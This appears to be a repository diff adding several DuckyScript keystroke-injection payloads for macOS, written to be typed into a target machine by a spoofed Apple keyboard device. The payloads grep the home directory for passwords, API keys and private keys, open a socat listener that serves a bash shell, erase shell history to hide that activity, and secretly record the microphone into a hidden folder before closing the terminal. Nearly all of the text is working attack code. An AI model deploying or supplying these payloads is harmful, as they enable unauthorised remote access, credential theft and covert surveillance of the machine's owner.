|
||||
DELAY 1000
|
||||
GUI w
|
||||
@@ -0,0 +1,82 @@
|
||||
REM macOS Security Testing and Reconnaissance Duckyscript (Local System)
|
||||
REM Unveiling the Depths of macOS Security
|
||||
REM Comprehensive Testing and Advanced Reconnaissance Capabilities
|
||||
REM This Script pulls just about everything you would need to know about a target MAC
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: SentinelStrike
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: RECON
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 1000
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING Terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING clear
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo "Starting local system security testing and reconnaissance..."
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Gather System Information
|
||||
STRING echo "----- System Information -----"
|
||||
ENTER
|
||||
STRING system_profiler SPHardwareDataType SPSoftwareDataType | grep -E "Model Identifier|Processor Name|Memory|Serial Number|OS Version" | sed 's/^\s*//'
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Check for Suspicious Processes
|
||||
STRING echo "----- Suspicious Processes -----"
|
||||
ENTER
|
||||
STRING ps aux | grep -E "root|admin" | grep -v grep | awk '{print $2, $11}'
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM List Startup Items
|
||||
STRING echo "----- Startup Items -----"
|
||||
ENTER
|
||||
STRING ls -la /Library/LaunchAgents /Library/LaunchDaemons ~/Library/LaunchAgents
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Check User Accounts
|
||||
STRING echo "----- User Accounts -----"
|
||||
ENTER
|
||||
STRING dscl . -list /Users | grep -v '_'
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Find Sensitive Files
|
||||
STRING echo "----- Sensitive Files -----"
|
||||
ENTER
|
||||
STRING find ~ -type f \( -iname "*.key" -o -iname "*.pem" -o -iname "*.rsa" \) 2>/dev/null
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Search for Sensitive Information
|
||||
STRING echo "----- Sensitive Information -----"
|
||||
ENTER
|
||||
STRING grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --include='*.xml' --include='*.conf' --include='*.config' --include='*.properties' --include='*.ini' --include='*.env' --exclude-dir='.git' --exclude-dir='node_modules' "password\|username\|apikey\|secret" ~ 2>/dev/null
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Check for Unsecured Files and Directories
|
||||
STRING echo "----- Unsecured Files and Directories -----"
|
||||
ENTER
|
||||
STRING find ~ -type d \( -iname "public" -o -iname "www" \) 2>/dev/null
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Finished
|
||||
STRING echo "----- Security testing and reconnaissance completed! -----"
|
||||
ENTER
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
REM This script sets up a TCP listener using socat for remote shell access.
|
||||
REM Proceeds to clear the terminal and minimize the window for stealth.
|
||||
REM It listens on the specified port (6300)
|
||||
|
||||
|
||||
REM Once this script is executed there will be an open listener on port 6300
|
||||
REM you will be able to use the command 'socat STDIN TCP:<remote_ip_address>:6300'
|
||||
REM this will establish a connection to the remote computer on port 6300
|
||||
REM and you should be able to interact with the remote shell
|
||||
|
||||
REM Requirement: i.p. of target MacOs and socat application
|
||||
REM can install using homebrew 'brew install socat'
|
||||
|
||||
REM Title: SocatShell
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &
|
||||
DELAY 2000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING clear
|
||||
ENTER
|
||||
DELAY 250
|
||||
GUI w
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
REM This script focuses on searching for common sensitive information
|
||||
REM including passwords, secrets, API keys, and configuration files.
|
||||
REM It performs a file search within specific file types and looks for specific patterns.
|
||||
REM The output will display any matches found in the search process.
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: StealthSeeker
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: RECON
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 1000
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING Terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING clear
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo "Initiating macOS sensitive information search..."
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Search for Passwords and Secrets
|
||||
STRING echo "----- Passwords and Secrets -----"
|
||||
ENTER
|
||||
STRING grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --exclude-dir='.git' --exclude-dir='node_modules' "password\|secret\|apikey\|taxes\|passport" ~ 2>/dev/null
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Search for Configuration Files
|
||||
STRING echo "----- Configuration Files -----"
|
||||
ENTER
|
||||
STRING find / -type f \( -iname "*.conf" -o -iname "*.config" -o -iname "*.properties" -o -iname "*.ini" \) 2>/dev/null | xargs grep -E "username|password|apikey|secret" 2>/dev/null
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
REM Finished
|
||||
STRING echo "----- macOS sensitive information search completed! -----"
|
||||
ENTER
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
REM User Information: Includes the username, home directory, and user ID.
|
||||
REM System Information: Displays details about the operating system.
|
||||
REM Network Information: Shows network interface information IP address.
|
||||
REM File and Directory Permissions: Provides permissions and ownership details of files and directories.
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: SysNet Info
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 1000
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING echo "User Information:" && echo "Username: $(whoami)" && echo "Home Directory: $HOME" && echo "User ID: $(id -u)" && echo && echo "System Information:" && uname -a && echo && echo "Network Information:" && ifconfig && echo && echo "File and Directory Permissions:" && ls -l
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
REM Creates a hidden folder named .phantom_audio in the home directory.
|
||||
REM Writes a Python script (record.py) that uses the sox utility
|
||||
REM to record audio from the microphone and save it as a .mp3 file.
|
||||
|
||||
REM Once executed, the audio recording will start and continue until manually stopped
|
||||
REM You can stop the audio recording by finding the PID and using 'kill pid#'
|
||||
REM The recording is saved in the .phantom_audio directory under the home directory
|
||||
|
||||
REM To access the audio file easily, you can use the following steps:
|
||||
REM Open a new Finder window. Go to the "Go" menu in the menu bar and select "Go to Folder"
|
||||
REM enter "~/.phantom_audio" and click the "Go" button.
|
||||
REM navigate to the .phantom_audio folder where you can find the "Secret audio.mp3" file.
|
||||
|
||||
REM To delete the hidden folder use command 'rm -r ~/.phantom_audio'
|
||||
|
||||
REM Requirements: SOX you can install through homebrew 'brew install sox'
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Phantom Audio Capturer
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING Terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING screen -dm bash -c "nohup python3 record.py &"
|
||||
DELAY 200
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING tccutil reset Microphone com.apple.Terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
STRING mkdir -p ~/.phantom_audio && cd ~/.phantom_audio
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo 'import os\nimport subprocess\nimport datetime\n\nfilename = "Secret audio.mp3"\ncmd = f"sox -d -C 128 -r 44100 \"{filename}\""\nsubprocess.Popen(cmd, shell=True)' > record.py
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING nohup python3 record.py &
|
||||
ENTER
|
||||
DELAY 250
|
||||
GUI w
|
||||
@@ -0,0 +1,45 @@
|
||||
REM Web Scraping and Output to Desktop.
|
||||
REM This script performs web scraping on a target website and saves the extracted data to a text file on the desktop.
|
||||
REM Make sure to replace the target website URL and adjust the delay timings as needed for optimal performance.
|
||||
|
||||
|
||||
REM Please note that web scraping may have legal and ethical implications,
|
||||
REM script should only be performed on websites you have permission to access and scrape data from.
|
||||
REM Replace 'https://www.example.com' with the target website URL.
|
||||
|
||||
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Web Scraper
|
||||
REM Version: 1.0
|
||||
REM Target: MacOs
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING cd ~/Desktop
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING touch output.txt
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING curl -s https://www.example.com > output.txt
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING open -e output.txt
|
||||
DELAY 1000
|
||||
ENTER
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user